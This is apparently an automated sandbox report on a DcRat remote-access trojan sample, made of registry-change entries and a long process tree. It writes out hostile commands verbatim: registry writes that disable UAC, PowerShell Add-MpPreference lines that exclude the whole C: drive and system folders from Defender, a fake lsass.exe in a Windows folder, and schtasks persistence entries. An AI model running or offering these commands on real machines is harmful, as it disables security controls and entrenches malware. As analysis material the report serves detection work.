Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	lsass.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
"C:\Users\Admin\AppData\Local\Temp\15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe"
1⤵
- DcRat
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4640
- C:\Users\Admin\AppData\Local\Temp\tmp93A6.tmp.exe
  "C:\Users\Admin\AppData\Local\Temp\tmp93A6.tmp.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2316
- - C:\Users\Admin\AppData\Local\Temp\tmp93A6.tmp.exe
    "C:\Users\Admin\AppData\Local\Temp\tmp93A6.tmp.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3788
  - - C:\Users\Admin\AppData\Local\Temp\tmp93A6.tmp.exe
      "C:\Users\Admin\AppData\Local\Temp\tmp93A6.tmp.exe"
      4⤵
      Executes dropped EXE
      PID:3452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\gj6EEjwVdZ.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4576
- - C:\Windows\system32\w32tm.exe
    w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
    3⤵
    PID:4268
- - C:\Users\Admin\AppData\Local\Temp\15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
    "C:\Users\Admin\AppData\Local\Temp\15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe"
    3⤵
    - UAC bypass
    - Checks computer location settings
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    - System policy modification
    PID:3152
  - - C:\Users\Admin\AppData\Local\Temp\tmpD8BC.tmp.exe
      "C:\Users\Admin\AppData\Local\Temp\tmpD8BC.tmp.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1904
    - - C:\Users\Admin\AppData\Local\Temp\tmpD8BC.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmpD8BC.tmp.exe"
        5⤵
        Executes dropped EXE
        
        PID:2808
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:2132
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:1732
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:2604
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:716
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:1800
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:1056
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:4692
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:4268
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:1944
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:4796
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:4576
  - - C:\Windows\Panther\actionqueue\lsass.exe
      "C:\Windows\Panther\actionqueue\lsass.exe"
      4⤵
      UAC bypass
      Checks computer location settings
      Executes dropped EXE
      Checks whether UAC is enabled
      Modifies registry class
      Suspicious use of AdjustPrivilegeToken
      System policy modification
      PID:1904
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ac0eff64-047d-4e6e-8370-5e8eea233134.vbs"
        5⤵
        
        PID:4616
      - C:\Windows\Panther\actionqueue\lsass.exe
        
        C:\Windows\Panther\actionqueue\lsass.exe
        6⤵
        UAC bypass
        Checks computer location settings
        Executes dropped EXE
        Checks whether UAC is enabled
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        System policy modification
        
        PID:1260
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fd423d22-f9a7-488c-a68a-abcfb5d07677.vbs"
        7⤵
        
        PID:4564
        
        C:\Windows\Panther\actionqueue\lsass.exe
        
        C:\Windows\Panther\actionqueue\lsass.exe
        8⤵
        UAC bypass
        Checks computer location settings
        Executes dropped EXE
        Checks whether UAC is enabled
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        System policy modification
        
        PID:4176
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d0cf3d58-e9f6-48b5-bc67-3fbe67a83087.vbs"
        9⤵
        
        PID:1328
        
        C:\Windows\Panther\actionqueue\lsass.exe
        
        C:\Windows\Panther\actionqueue\lsass.exe
        10⤵
        UAC bypass
        Checks computer location settings
        Executes dropped EXE
        Checks whether UAC is enabled
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        System policy modification
        
        PID:1932
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\577e189c-41cf-444e-8df4-36037aa4ee36.vbs"
        11⤵
        
        PID:3872
        
        C:\Windows\Panther\actionqueue\lsass.exe
        
        C:\Windows\Panther\actionqueue\lsass.exe
        12⤵
        UAC bypass
        Checks computer location settings
        Executes dropped EXE
        Checks whether UAC is enabled
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        System policy modification
        
        PID:3716
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\849e9618-1b50-4663-8007-a721907a0b1a.vbs"
        13⤵
        
        PID:376
        
        C:\Windows\Panther\actionqueue\lsass.exe
        
        C:\Windows\Panther\actionqueue\lsass.exe
        14⤵
        UAC bypass
        Checks computer location settings
        Executes dropped EXE
        Checks whether UAC is enabled
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        System policy modification
        
        PID:4284
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6018149c-c8b6-4455-a990-851f58a92c0e.vbs"
        15⤵
        
        PID:3200
        
        C:\Windows\Panther\actionqueue\lsass.exe
        
        C:\Windows\Panther\actionqueue\lsass.exe
        16⤵
        UAC bypass
        Checks computer location settings
        Executes dropped EXE
        Checks whether UAC is enabled
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        System policy modification
        
        PID:452
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\cea91747-68d8-4773-9319-e71d75aadf4d.vbs"
        17⤵
        
        PID:868
        
        C:\Windows\Panther\actionqueue\lsass.exe
        
        C:\Windows\Panther\actionqueue\lsass.exe
        18⤵
        UAC bypass
        Checks computer location settings
        Executes dropped EXE
        Checks whether UAC is enabled
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        System policy modification
        
        PID:1880
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\17c1a41b-9686-4939-986b-5d979fc2849d.vbs"
        19⤵
        
        PID:1148
        
        C:\Windows\Panther\actionqueue\lsass.exe
        
        C:\Windows\Panther\actionqueue\lsass.exe
        20⤵
        UAC bypass
        Checks computer location settings
        Executes dropped EXE
        Checks whether UAC is enabled
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        System policy modification
        
        PID:3728
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1d89b3b3-f06a-4f6c-9a5a-b265583954da.vbs"
        21⤵
        
        PID:2120
        
        C:\Windows\Panther\actionqueue\lsass.exe
        
        C:\Windows\Panther\actionqueue\lsass.exe
        22⤵
        UAC bypass
        Checks computer location settings
        Executes dropped EXE
        Checks whether UAC is enabled
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        System policy modification
        
        PID:4944
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6e358287-337f-4b8c-91d2-2a25a30c8f18.vbs"
        23⤵
        
        PID:2232
        
        C:\Windows\Panther\actionqueue\lsass.exe
        
        C:\Windows\Panther\actionqueue\lsass.exe
        24⤵
        UAC bypass
        Checks computer location settings
        Executes dropped EXE
        Checks whether UAC is enabled
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        System policy modification
        
        PID:4988
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\97f310e9-7b24-45ba-b30c-a4d98e400564.vbs"
        25⤵
        
        PID:224
        
        C:\Windows\Panther\actionqueue\lsass.exe
        
        C:\Windows\Panther\actionqueue\lsass.exe
        26⤵
        UAC bypass
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of AdjustPrivilegeToken
        System policy modification
        
        PID:2028
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1a75657d-b03c-48e2-88b5-67a404058446.vbs"
        25⤵
        
        PID:1184
        
        C:\Users\Admin\AppData\Local\Temp\tmpA85C.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmpA85C.tmp.exe"
        25⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:212
        
        C:\Users\Admin\AppData\Local\Temp\tmpA85C.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmpA85C.tmp.exe"
        26⤵
        Executes dropped EXE
        
        PID:4464
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\79368aeb-81dc-433c-904a-c72d2871ae02.vbs"
        23⤵
        
        PID:4248
        
        C:\Users\Admin\AppData\Local\Temp\tmp8C0A.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmp8C0A.tmp.exe"
        23⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:4924
        
        C:\Users\Admin\AppData\Local\Temp\tmp8C0A.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmp8C0A.tmp.exe"
        24⤵
        Executes dropped EXE
        
        PID:436
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\b009c301-519d-4769-9d3c-370907beb1d6.vbs"
        21⤵
        
        PID:812
        
        C:\Users\Admin\AppData\Local\Temp\tmp6E7F.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmp6E7F.tmp.exe"
        21⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:1480
        
        C:\Users\Admin\AppData\Local\Temp\tmp6E7F.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmp6E7F.tmp.exe"
        22⤵
        Executes dropped EXE
        
        PID:2344
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c12c8e2d-bc73-4049-be22-5a371b7511a4.vbs"
        19⤵
        
        PID:5104
        
        C:\Users\Admin\AppData\Local\Temp\tmp3EA5.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmp3EA5.tmp.exe"
        19⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3492
        
        C:\Users\Admin\AppData\Local\Temp\tmp3EA5.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmp3EA5.tmp.exe"
        20⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:2356
        
        C:\Users\Admin\AppData\Local\Temp\tmp3EA5.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmp3EA5.tmp.exe"
        21⤵
        Executes dropped EXE
        
        PID:3716
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e33451c1-32b1-4c37-9165-7b4cfa635a86.vbs"
        17⤵
        
        PID:4672
        
        C:\Users\Admin\AppData\Local\Temp\tmpEAC.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmpEAC.tmp.exe"
        17⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:4908
        
        C:\Users\Admin\AppData\Local\Temp\tmpEAC.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmpEAC.tmp.exe"
        18⤵
        Executes dropped EXE
        
        PID:3388
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\dfbc3e06-9e44-4064-a1af-6d572470493c.vbs"
        15⤵
        
        PID:4524
        
        C:\Users\Admin\AppData\Local\Temp\tmpDBC5.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmpDBC5.tmp.exe"
        15⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:2884
        
        C:\Users\Admin\AppData\Local\Temp\tmpDBC5.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmpDBC5.tmp.exe"
        16⤵
        Executes dropped EXE
        
        PID:2160
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fdc37869-99b0-4436-915d-4690bbcdd920.vbs"
        13⤵
        
        PID:3608
        
        C:\Users\Admin\AppData\Local\Temp\tmpAAE1.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmpAAE1.tmp.exe"
        13⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:4312
        
        C:\Users\Admin\AppData\Local\Temp\tmpAAE1.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmpAAE1.tmp.exe"
        14⤵
        Executes dropped EXE
        
        PID:4536
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\3ba504cb-1a62-4f7c-979a-d4fecae49f26.vbs"
        11⤵
        
        PID:1940
        
        C:\Users\Admin\AppData\Local\Temp\tmp771F.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmp771F.tmp.exe"
        11⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:868
        
        C:\Users\Admin\AppData\Local\Temp\tmp771F.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmp771F.tmp.exe"
        12⤵
        Executes dropped EXE
        
        PID:876
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7e36854d-0da0-4cd5-bbcf-a48f9b23157c.vbs"
        9⤵
        
        PID:2840
        
        C:\Users\Admin\AppData\Local\Temp\tmp58BA.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmp58BA.tmp.exe"
        9⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:740
        
        C:\Users\Admin\AppData\Local\Temp\tmp58BA.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmp58BA.tmp.exe"
        10⤵
        Executes dropped EXE
        
        PID:1900
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\249b1914-7144-4f97-824e-76670da331ae.vbs"
        7⤵
        
        PID:2052
        
        C:\Users\Admin\AppData\Local\Temp\tmp2824.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmp2824.tmp.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4456
        
        C:\Users\Admin\AppData\Local\Temp\tmp2824.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmp2824.tmp.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:4932
        
        C:\Users\Admin\AppData\Local\Temp\tmp2824.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmp2824.tmp.exe"
        9⤵
        Executes dropped EXE
        
        PID:1648
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\37407fa4-0eac-4015-a810-0ca753397aa0.vbs"
        5⤵
        
        PID:2832
    - - C:\Users\Admin\AppData\Local\Temp\tmp9FE.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmp9FE.tmp.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:3048
      - C:\Users\Admin\AppData\Local\Temp\tmp9FE.tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmp9FE.tmp.exe"
        6⤵
        Executes dropped EXE
        
        PID:3192

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 8 /tr "'C:\Users\Admin\Idle.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1784

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Users\Admin\Idle.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2988

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 7 /tr "'C:\Users\Admin\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4720

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 9 /tr "'C:\Windows\SystemResources\Windows.UI.SettingsAppThreshold\SystemSettings\Assets\Registry.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3920

C:\Windows\system32\schtasks.exe
